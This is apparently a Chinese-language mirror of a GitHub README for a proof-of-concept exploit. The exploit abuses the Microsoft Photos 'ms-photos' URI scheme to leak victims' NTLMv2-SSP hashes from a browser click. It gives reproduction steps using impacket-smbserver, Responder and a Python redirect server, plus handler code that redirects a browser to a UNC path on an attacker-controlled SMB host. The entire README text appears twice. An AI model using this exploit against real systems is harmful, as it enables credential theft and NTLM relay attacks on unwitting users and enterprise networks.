rubenformation/ms-photos_NTLM_Leak
GitHub: rubenformation/ms-photos_NTLM_Leak
该仓库展示了一个利用 Microsoft Photos URI 方案的 0day 漏洞,通过浏览器一次点击即可泄露 NTLM 哈希。
Stars: 210 | Forks: 32
# Microsoft ms-photos URI NTLM 泄露
### 新漏洞允许通过一次点击从浏览器中泄露 NTLM 哈希
作者:[Ruben Enkaoua](https://x.com/rubenlabs)
#### 描述
Microsoft ms-photos URI 方案将 fileName 作为参数,该参数可以提交 UNC 路径,一旦打开便会泄露 NTLMv2-SSP 哈希。通过构造特殊格式的链接,攻击者可以迫使受害者直接从浏览器启动 Microsoft Photos 应用。触发此行为会导致受害者的 NTLMv2-SSP 哈希泄露到攻击者控制的服务器。此问题会导致凭据暴露和企业环境中潜在的 relay 攻击,且仅需极少的用户交互(打开应用)。Microsoft 并未认可该漏洞,也未发布 CVE。此外,我的灵感来源于 2022 年的 [Syss 博客](https://blog.syss.com/posts/abusing-ms-office-protos/)。
由于 NTLMv2-SSP 挑战可能会泄露到面向公网的 UNC 路径(除非设置了出站 SMB/445 防火墙规则),因此该漏洞可以与网站感染相结合,从而导致供应链攻击。
从关于 URI 方案的 [MSDN 文档](https://learn.microsoft.com/en-us/windows/apps/develop/launch/launch-default-app#photos-app-uri-scheme)中,我们可以找到以下内容:
#### 复现步骤
``` # 有图片:使用目标机上的 photos.exe 打开照片 # 无图片:无反应,没有 photos.exe 进程窗口 impacket-smbserver share . -smb2support ```
``` # 首先编辑用于 UNC coercing 的 IP、共享和文件名信息。 python3 ms-photos-server.py ```
打开 Chrome 并导航至/test

此外,也可以使用 responder 来实现。任何发出 LLMNR 请求的未解析域名都将被重定向到该脚本,从而允许强制任何用户进行认证,而不是弹出一个 NTLM 用户/密码身份验证窗口。 要使其生效,请先运行脚本,然后再运行 responder。

它之所以有效,是因为我们的应用程序直接重定向到了包含我们服务器 UNC 路径的 ms-photos URI 方案:
``` class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/": self.send_response(302) # HTTP 302 Found (temporary redirect) self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png') self.end_headers() else: self.send_response(404) self.end_headers() self.wfile.write(b"Not Found") ```
来自客户端的重定向:
#### 注意事项
此代码仅供教育和研究目的使用。
作者对任何滥用此代码的行为不承担责任。
#### 描述
Microsoft ms-photos URI 方案将 fileName 作为参数,该参数可以提交 UNC 路径,一旦打开便会泄露 NTLMv2-SSP 哈希。通过构造特殊格式的链接,攻击者可以迫使受害者直接从浏览器启动 Microsoft Photos 应用。触发此行为会导致受害者的 NTLMv2-SSP 哈希泄露到攻击者控制的服务器。此问题会导致凭据暴露和企业环境中潜在的 relay 攻击,且仅需极少的用户交互(打开应用)。Microsoft 并未认可该漏洞,也未发布 CVE。此外,我的灵感来源于 2022 年的 [Syss 博客](https://blog.syss.com/posts/abusing-ms-office-protos/)。
由于 NTLMv2-SSP 挑战可能会泄露到面向公网的 UNC 路径(除非设置了出站 SMB/445 防火墙规则),因此该漏洞可以与网站感染相结合,从而导致供应链攻击。
从关于 URI 方案的 [MSDN 文档](https://learn.microsoft.com/en-us/windows/apps/develop/launch/launch-default-app#photos-app-uri-scheme)中,我们可以找到以下内容:
#### 复现步骤
``` # 有图片:使用目标机上的 photos.exe 打开照片 # 无图片:无反应,没有 photos.exe 进程窗口 impacket-smbserver share . -smb2support ```
``` # 首先编辑用于 UNC coercing 的 IP、共享和文件名信息。 python3 ms-photos-server.py ```
打开 Chrome 并导航至

此外,也可以使用 responder 来实现。任何发出 LLMNR 请求的未解析域名都将被重定向到该脚本,从而允许强制任何用户进行认证,而不是弹出一个 NTLM 用户/密码身份验证窗口。 要使其生效,请先运行脚本,然后再运行 responder。

它之所以有效,是因为我们的应用程序直接重定向到了包含我们服务器 UNC 路径的 ms-photos URI 方案:
``` class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == "/": self.send_response(302) # HTTP 302 Found (temporary redirect) self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png') self.end_headers() else: self.send_response(404) self.end_headers() self.wfile.write(b"Not Found") ```
来自客户端的重定向:
#### 注意事项
此代码仅供教育和研究目的使用。
作者对任何滥用此代码的行为不承担责任。
标签:0day漏洞, C2通信, Impacket, Microsoft Photos, NTLMv2-SSP, NTLM哈希泄露, PoC, SMB中继攻击, UNC路径强制认证, URI协议滥用, Web安全, Windows漏洞, 企业网络安全, 供应链攻击, 凭据窃取, 暴力破解, 蓝队分析, 跨协议攻击, 逆向工具, 防御绕过